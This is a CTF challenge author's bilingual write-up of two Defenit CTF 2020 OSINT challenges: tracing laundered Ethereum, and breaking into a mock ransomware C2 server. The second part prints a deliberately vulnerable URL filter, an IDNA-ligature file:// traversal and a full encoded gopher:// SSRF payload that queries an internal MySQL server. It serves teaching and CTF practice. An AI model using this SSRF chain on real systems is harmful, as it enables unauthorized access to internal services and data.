Arang.dev
検索
Defenit CTF 2020🏁 CTF🌐 翻訳済み

Defenit CTF 2020 OSINT 出題者 Writeup

暗号資産とマルウェアC2サーバーをテーマにしたOSINT問題の出題者による解説

#defenit-ctf#osint#cryptocurrency#malware

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

Defenit CTF 2020 OSINT Challenge Write-Up (KOR,ENG)

image

今回のDefenit CTF 2020ではOSINT分野の出題を担当しました。本来の主戦場がWebなので、WebとOSINTを組み合わせてできる問題を作ることを目標に構想しました。問題の構想を練る前に、OSINTという分野について考えてみました。「インターネット上に公開された情報をもとにハッカーの情報を得たり、彼を特定すること」がOSINT分野の主な目的だと考え、これを最近のトレンドと絡めて「暗号資産」と「マルウェア」などを利用したハッカーの悪意ある動作を防ぐことをメインコンセプトにして問題を構想・制作しました。Bad Tumblerは「暗号資産」、Hack the C2は「マルウェアのC2サーバー」がメインコンセプトです。それでは一問ずつWrite-upを記述していきます。

In this Defenit CTF 2020, I took charge of the OSINT category. Originally, my main field was the web, so I was going to make the challenge that could be done by combining the web and OSINT. Before I thought about the problem, I thought about the category called OSINT. It was thought that the main purpose of the field of OSINT was to'acquire hacker's information based on information published on the Internet or to specify him', and by linking it with recent trends, hackers using 'cryptocurrency' and 'malware'. The main concept was to prevent malicious movements and devised and produced problems. 'Bad Tumbler's main concept is 'cryptocurrency', and 'Hack the C2's main concept are 'C2 server of ransomware'. Then let's describe Write-up one by one.


1. Bad Tumblers


[TL;DR]

image

  1. parse given address recursively

  2. get characteristic of hacker address

  3. get connection of all parsed address (tumbler networks + hacker wallet + victim wallet + a)

  4. specify the wallet which has characteristic 'from some wallet but to less wallet (unless 5)'

  5. specify the wallet which had been having more than 400+ ether


このチャレンジは、最近イシュー化している暗号資産の資金洗浄(マネーロンダリング)に関連した問題です。ハッカーが暗号資産をハッキングして資金洗浄を依頼し、出金した状況で、このようなハッカーを追跡していくのが主な問題解決のキーポイントです。

まず前提条件と説明は以下の通りです。

This is a problem related to the money laundering of cryptocurrency, which has recently become an issue. The key point of solving a major problem is that a hacker hacks a cryptocurrency, entrusts money laundering, and tracks the hacker in the withdrawal situation.

First of all, the prerequisites and explanations are as follows:

[Precondition] 0. Hundreds of wallets contain about 5 ether (tumbler) 0. Hackers steal more than 400 ethers through hacking per exchange 0. Hacker commissions ethereum tumbler to tumbling 400 ether from his wallet 0. After tracking the hacking accident that reported by exchange A, we confirmed that it was withdrawn to the hacker wallet of exchange C. 0. After checking the amount withdrawn from the wallet of exchange C, it seems that it was not the only exchange(exchange A) that was robbed. 0. Therefore, it is a problem to find a hacker wallet of some exchange(in this chall, it will be exchange B). So, we should find clues to track the hacker.

[Description] Hacker succeeded in hacking and seizing cryptocurrency, Ethereum! Hacker succeeded in withdraw Ethereum by mixing & tumbling. What we know is the account of the hacker of exchange A which reported the hacking and exchange C which hacker withdrew money. In addition to Exchange A, there is another exchange that has been hacked. Track hackers to find out the bad hacker's wallet address on another exchange!

image

長いですよね?(泣)すみません。より良く、蓋然性のあるシナリオを構成するために長々と書いてみました…

It's long, isn't it? In order to compose a better and more probable scenario, I've written weekly.

前提条件とディスクリプションの主な内容は、添付された概念図を通じてもっと直感的に理解できます。各取引所AとBに被害者がいて、この被害者たちがEthereumをハッカーのウォレットにまず送信、ハッカーは集まったEthereumをtumbler networkに少しずつ分けて送信し、こうして送信された金はtumbler networkを巡り巡って取引所Cのハッカー口座に少しずつ入金されます。一言で言えば「コップに水を汲んで湖に注いだ後、湖の水を再び別のコップですくうこと」と似たような脈絡で理解すれば良いです。

The main contents of the precondition and description can be understood more intuitively through the attached conceptual image. There are victims on each of exchanges A and B, and these victims first transfer Ethereum to the hacker's wallet, the hacker transmits the collected Ethereum in small portions to the tumbler network, and the transferred money is circulated on the tumbler network and then exchanges C Will be gradually deposited into your hacker account. In a nutshell, you can understand it in a similar context to'after pouring water into a cup and pouring it into the lake, then floating the water from the lake back into another cup'.

問題では取引所AとCのハッカーのウォレットが与えられます。暗号資産の特性上、各ウォレットでの取引(Transaction)はすべて記録され、全員に共有されます。問題を解く最初の段階は、ハッキングされた取引所Aのハッカーのウォレットを分析して特徴を調査し、これらのウォレットと繋がっているウォレットをすべて探し出し、そのウォレットで先ほど見つけた特徴を適用して観察することです。

The challenge is given to the exchange A and C hacker wallets. Due to the principle of cryptocurrency, all transactions in each wallet are recorded and shared with all. The first step in solving the problem is to analyze the hacker wallet of the hacked exchange A to investigate its characteristics, find all the wallets associated with these wallets, and apply the features found earlier in those wallets.

image

問題の条件として与えられた取引所Aのハッカーのウォレットの初期transactionです。

These are the initial transactions in the hacker wallet of exchange A given as a condition of the problem.

image

Concept Mapでは上記の図に該当する取引です。被害者たちの金がハッカーのウォレットに入金される状況です。transactionを見てみると、まず被害者たちのEthereumがハッカーのウォレットに集まった後、このEthereumがtumbler networkへ出金されることが分かります。

In the Concept Map, it is a transaction corresponding to the picture above. The victim's money is deposited into the hacker's wallet. Looking at the transactions, you can see that the victims' Ethereum is first collected in the hacker's wallet, and then these Ethereums are withdrawn to the tumbler network.

"Hacker Wallet's Characteristic: many victims deposit to hacker wallet"

これでウォレットをすべてパースして特徴を調査するためにrecursive parseを行います。収集されたウォレットの中からfrom/to transactionを調査してウォレット(node)間の連結情報を収集します。その情報のうち、我々が見つけた特徴である「to transactionが少ないウォレットがvictimウォレットであり、そのtoに該当するウォレットがハッカーウォレットだということ」を適用してフィルタリングします。その後、フィルタリングされたウォレットのうち、かつて400 Ethereum以上を持っていたウォレット(max current value)をフィルタリングします。

Now parse all wallets and proceed with recursive parse to investigate the features. Among the collected wallets, connection information between wallets is collected by examining from/to transactions. Among the information, we filter by applying the feature that we found out, 'a wallet with a small amount of to transaction is a victim wallet, and a wallet corresponding to that to be a hacker wallet'. Subsequently, the filtered wallet (max current value) that once had more than 400 Ethereum was filtered.

image

solve.py

https://github.com/JaewookYou/2020-defenit-ctf-osint-writeup/blob/master/bad-tumblers/solve.py


2. hack-the-c2


[TL;DR]

  1. find nickname at twitter

  2. see deleted tweet from web.archive.org

  3. find ransomware name at github

  4. see private repository(which is code of c2 server) from web.archive.org

  5. get url of c2 server and its code

  6. bypass curl argument's filter regex by idna normalization

( file:/‥/‥/, fi(‥, 1byte) will change to fi(\x46\x49, 2byte) after idna decoding at python )

  1. get internal server(which use 7777 port)'s code

  2. know it has connection with internal network's mysql server (172.22.0.4:3306)

  3. when connect to mysql server, there aren't login password

  4. so we can ssrf it by gopher scheme

  5. double url encoding because our packet via external server(which use 9090 port)

  6. get killcode from mysql, input killcode => FLAG XD


DescriptionSome hacker make ransomware, and he is going to spread it. We should stop him, but the only we have is that the hacker uses nickname 'b4d_ar4n9'. Find hacker's info and stop him!Hints

  • my own github is not related to solve this challenge

このチャレンジは、以前ランサムウェアのキルスイッチを作動させて莫大な被害を防いだイギリスのセキュリティ研究者が思い浮かび、これと似たようなコンセプトで作った問題です。セキュリティ研究員である我々は、インターネットでハッカーの情報を収集し、該当ハッカーのC2サーバーコードをリークさせ、彼が自分だけが使用しようとして作った一種の「admin function」たちと、そこから発生する脆弱性でC2サーバーをハッキングし、キルスイッチを作動させてランサムウェアの動作を防ぎ世界を救う(?)というコンセプトです。

This challenge was created by a British security researcher who ran a previous ransomware kill switch to prevent massive damage and I made this challenge as a similar concept. As a security researcher, we collect hacker's information from the Internet and get the hacker's C2 server code to hack the C2 server by hacking the C2 server with some kind of 'admin functions' and vulnerabilities. The concept is to save the world by activating it to prevent ransomware from working (?).

image

まず問題を解決するためには情報を収集しなければなりません。Twitterに「b4d_ar4n9」を検索してみると、該当ニックネームを使用中のアカウントとツイートが出てきます。このうち、ランサムウェアの名前を書いて消した痕跡が上の画像のように見えます。

First, we need to collect information to solve the problem. If you search for 'b4d_ar4n9' on Twitter, the accounts and tweets using the nickname will appear. Of these, the name of the ransomware that was written and erased looks like the image above.

http://web.archive.org/web/20200520115408/https:/twitter.com/b4d_ar4n9

image

ランサムウェアの名前が登場しました!さらに最近のツイートに「c2サーバーのコードをすべてコミットした」という内容が存在します。したがってGithubでランサムウェアの名前をもとに検索してみましょう。

The ransomware name comes up! In addition, a recent tweet says 'committed all code from c2 server'. So let's search based on the name of ransomware on github.

image

ハッカーのニックネームと(leet langで)同一のアカウントのrepositoryが出てきます。

You'll get a repository with the same account (with leet lang) as the hacker's nickname.

https://github.com/Ba6-4raNg/myfirstapp/commit/1c2c1140e17960aa5d81762d3176c10e2f13009c

image

該当repositoryのコミットを見てみると「すべてをprivateにし、すべての重要情報はアーカイブする」という記録が存在します。

When looking at the commit of the repository, there is a record that 'everything is made private and all important information is archived'.

http://web.archive.org/web/20200604115819/https://github.com/Ba6-4raNg

image

ジャジャーン - ここにはさっき見たランサムウェアの名前になったrepositoryが存在します。

There is a repository in the name of ransomware you saw earlier.

http://web.archive.org/web/20200604120030/https://github.com/Ba6-4raNg/SUPER_POWERFUL_RANSOMWARE/blob/master/app/main.py

image

該当repositoryにはc2サーバーのアドレス(http://hack-the-c2.ctf.defenit.kr:9090/)とそのコードがあります。

The repository contains the address of the c2 server(http://hack-the-c2.ctf.defenit.kr:9090/))and its code.

# health check! - ps
@app.route('/he41th_ch3ck_C2_ps')
def health_ps():
	r = subprocess.Popen("ps -ef".split(' '),stdout=subprocess.PIPE).stdout.read().decode().split('\n')
	result = []
	for i in r:
		if 'python' in i:
			result.append(i)
	
	return render_template('he41th_ch3ck_C2_ps.html', results=result)
 
# health check! - netstat
@app.route('/h3alTh_CHeCK_c2_nEtsTaT')
def health_netstat():
	r = subprocess.Popen("netstat -lntp".split(' '),stdout=subprocess.PIPE).stdout.read().decode().split('\n')
	return render_template('h3alTh_CHeCK_c2_nEtsTaT.html', results=r)

http://hack-the-c2.ctf.defenit.kr:9090/he41th_ch3ck_C2_ps

http://hack-the-c2.ctf.defenit.kr:9090/h3alTh_CHeCK_c2_nEtsTaT

image

流出したコードを通じて、一般的には容易に分からないrouteに接続すると、現在のc2サーバーのprocess infoとnetstat infoを知ることができます。これを通じて内部に9090ポート以外に7777ポートで回っているflask serverがもう一つあることが確認できます。(ここに37159ポートを使用する127.0.0.11ホストに多くの労力を費やした方々がいますが、該当サービスはdockerの中のネットワークでdnsを管理するホストです。問題とは関連がなく、ググれば見つけられる内容です)

If you access a route that is not normally known through the leaked code, you can get the process info and netstat info of the current c2 server. Through this, you can see that there is one more flask server that goes back to port 7777 in addition to port 9090. (Here is a lot of effort on the 127.0.0.11 host that uses port 37159, but the service is a host that manages dns on the network inside the docker. It has nothing to do with the challenge and can be found when you google Content)

# health check! - curl
@app.route('/He4ltH_chEck_c2_cur1')
def health_curl():
	url = request.args.get('url')
	try:
		if url:
			turl = filterUrl(url)
			if turl:
				url = turl
				try:
					buffer = BytesIO()
					c = pycurl.Curl()
					c.setopt(c.URL,url)
					c.setopt(c.SSL_VERIFYPEER, False)
					c.setopt(c.WRITEDATA,buffer)
					c.perform()
					c.close()
					try:
						result = buffer.getvalue().decode().split('\n')
					except:
						result = buffer.getvalue()
				except Exception as e:
					print('[x] curl err - {}'.format(str(e)))
					result = ['err.....']
				return render_template('He4ltH_chEck_c2_cur1.html', results=result)
			else:
				return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. url is error or unsafe!'])
	except Exception as e:
		print('[x] curl err2... - {}'.format(str(e)))
	return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. you didn\'t give url'])
 
def filterUrl(url):
	try:
		# you may not read any file
		if re.compile(r"(^[^:]{3}:)").search(url):
			if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
				print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
				return url.replace("..","").encode('idna').decode().replace("..","")
		elif re.compile(r"(^[^:]{4}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			p = parse.urlparse(url)
			if (p.scheme == 'http') and p.netloc.split(':')[0] == 'localhost':
				print('[+] curl url - {}'.format(url))
				return url
		elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			print('[+] curl url - {}'.format(url))
			return url
	except Exception as e:
		print('[x] regex err - {}'.format(str(e)))
		return False
 
	return False

最も重要な部分ですが、ユーザーのinput urlを受け取ってcurlの引数として渡すサービスが存在します。ただしユーザーのinputをregexでfilteringしており、これを迂回してSSRF(Server Side Request Forgery)するのが出題者のintentです。(幸いunintentで問題を解決した方はいません)

The most important part, there is a service that takes the user's input url and passes it as an argument of curl. However, since the user's input is filtered with regex, it is the intent of the submitter to bypass this and SSRF (Server Side Request Forgery). (Fortunately, no one has solved the challenge with unintent)

if re.compile(r"(^[^:]{3}:)").search(url):
	if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
		print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
		return url.replace("..","").encode('idna').decode().replace("..","")

上記コードのうちschemeが3文字の時のfiltering codeを見てみると、特異なことにinput urlで「..」を除去後「idna normalization」を実行することを確認できます。idna normalizationをする時、特殊unicodeがprintable ascii characterに変換されることが日常茶飯事です。今回の問題の意図は、このようなidna normalizationをユニコード範囲 から ￿ までfuzzingして、該当問題解決に必要なGadgetを獲得することでした。

Looking at the filtering code when the scheme is 3 letters among the above codes, it can be confirmed that 'idna normalization' is performed after removing '..' from the input url. When performing idna normalization, special unicode is converted into printable ascii character. The intention of this issue was to fuzzing this idna normalization from the Unicode range to ￿ to get the Gadget needed to solve that challenge.

image

私またidna normalizationでの特殊なケースを得るためにファジングしてそのデータを持っていますが、このうち fi(fi) が問題解決に使用できます。該当文字はidna normalization以前には1バイトですが、normalization後には2バイトascii characterに変わることになります。これにより最初の3文字schemeフィルタリングregexを通過し、idna normalization以降 file:/// schemeを使用、local file leakが可能になるのです。

I also fuzz to get a special case in idna normalization and have that data, of which fi(fi) can be used to solve the problem. The character is 1 byte before idna normalization, but after normalization it is changed to a 2-byte ascii character. Because of this, the first 3-letter scheme is passed through the filtering regex, and after idna

normalization, a file:/// scheme is used, and a local file leak is possible.

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=file:/‥/‥/app2/app/main.py

image

これにより、7777ポートで駆動中のinternal flask serverに対するコードを獲得しました。

So, we can obtain the code for the internal flask server running on port 7777.

def connect_db():
	db = pymysql.connect(
		user='b4d_aR4n9',
		#passwd=os.environ['DBPW'],
		host='172.22.0.4',
 port=3306,
		db='defenit_ctf_2020',
		charset='utf8'
	)
 
	return db
 
db = connect_db()
 
 
# if input killcode, kill all ransomware
@app.route('/k1ll_r4ns0mw4r3')
def kill_ransom():
	try:
		if request.remote_addr != '172.22.0.3' and request.remote_addr != '127.0.0.1':
			return '[INTERNAL] localhost only..'
 
		cursor = db.cursor(pymysql.cursors.DictCursor)
		cursor.execute("SELECT ki11c0d3 from secret;")
 
		if cursor.fetchall()[0]['ki11c0d3'] == request.args.get('ki11c0d3'):
			return subprocess.Popen("/app2/getFlag", stdout=subprocess.PIPE).stdout.read().strip()
		else:
			return '[x] you put wrong killcode!'
 
	except:
		return '[x] errr.....'

該当コードを見てみると172.22.0.4:3306でmysql connectを結んで、ここでkillcodeを読み、killcodeが合っている時 /app2/getFlagを実行してflagを出力してくれることを確認できます。

elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
	print('[+] curl url - {}'.format(url))
	return url

external flaskにあったコードのうち6文字schemeについてはlocalhostあるいは172.22.0.0/24帯域のみにhostを制限しています。これを利用してgopher://172.22.0.4:3306/でraw mysql packetを送って要請すれば、私たちが望む任意のsql queryを入力、結果を受け取ることができます。(mysql connection時、パスワードなしで認証できるように設定されているため、handshake時に受け取る20byteのhash seed値なしでもauthenticationが可能です)

For the 6-letter scheme among the codes in the external flask, the host is limited to the localhost or 172.22.0.0/24 band. If you request by sending raw mysql packet to gopher://172.22.0.4:3306/ using this, you can enter any sql query we want and get the result. (Because it is set to authenticate without a password when connecting to mysql, authentication is possible without a hash seed value of 20 bytes received during handshake)

image

残りの過程はGopherousで簡単に解決できます。(これをできないようにするために研究中でしたが時間が足りませんでした(泣))

The rest of the process can be easily solved with Gopherous. (I was researching to prevent this, but I ran out of time)

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=gopher://172.22.0.4:3306/_%25a8%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2562%2534%2564%255f%2561%2552%2534%256e%2539%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2526%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2564%2565%2566%2565%256e%2569%2574%255f%2563%2574%2566%255f%2532%2530%2532%2530%252e%2573%2565%2563%2572%2565%2574%2501%2500%2500%2500%2501

image

該当payloadでgopher schemeを利用してmysqlサーバーに要請時、結果値がbyteで来ることを確認できます。

When the request is requested to the mysql server using the gopher scheme as the corresponding payload, the result value can be checked as a byte.

image

これを出力してみるとkillcodeを確認できます。

If you print it out, you can see the killcode.

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=localhost:7777/k1ll_r4ns0mw4r3?ki11c0d3=k1ll_th3_ALL_b4d_aR4n9_ransomeware

image

GET FLAG!!!


Epilogue.

このようにしっかりと心を決めてCTFに問題を出したのは初めてな気がします。主分野ではない分野の出題を引き受け、最初は心配も悩みも多かったですが、全部作り終えてみるとOSINTというカテゴリーに似合う問題を作ったようなささやかな満足感(?)を得ましたが、解いた方々はどうだったかよく分かりません。大丈夫でしたか?最初に考えたことより作るのに困難があり、現在よりさらに面白いチャレンジを作れなくて残念ですが、機会があればその考えを後でまた問題として実現させて共有してみたいですね。解いてくださった方々に本当に感謝し、もし不足があったなら申し訳ありません。ありがとうございました。それでは!

It seems to be the first time I have properly thought about this and presented a problem to the CTF. I had a lot of worries and worries at first because I took the questions in a field other than the main one, but after I finished making it, I got a slight satisfaction (?) that it seemed to have created a problem that fits into the category called OSINT. Was it okay? It's a pity that I couldn't create a more challenging challenge than it is now because I have a harder time to make it than I thought at first, but if I have the chance, I would like to share it later as a problem. Thank you so much for releasing and sorry if there was any shortage. Thank you. Sure!

'bad-tumblers'問題を製作するのに使用したスクリプト/ソルバーファイルと'hack-the-c2'問題のドッカーおよびソースをアップロードしたので、直接構成してやってみたい方は参考お願いします!

I uploaded the script/solver file used to create the'bad-tumblers' challenge, and the docker & source code of the 'hack-the-c2' challenge, so if you want to configure it yourself, please take a look!

https://github.com/JaewookYou/2020-defenit-ctf-osint-writeup

made by @arang

コメント

コメントを読み込み中...
Defenit CTF 2020 OSINT 出題者 Writeup | Defenit CTF 2020 | Arang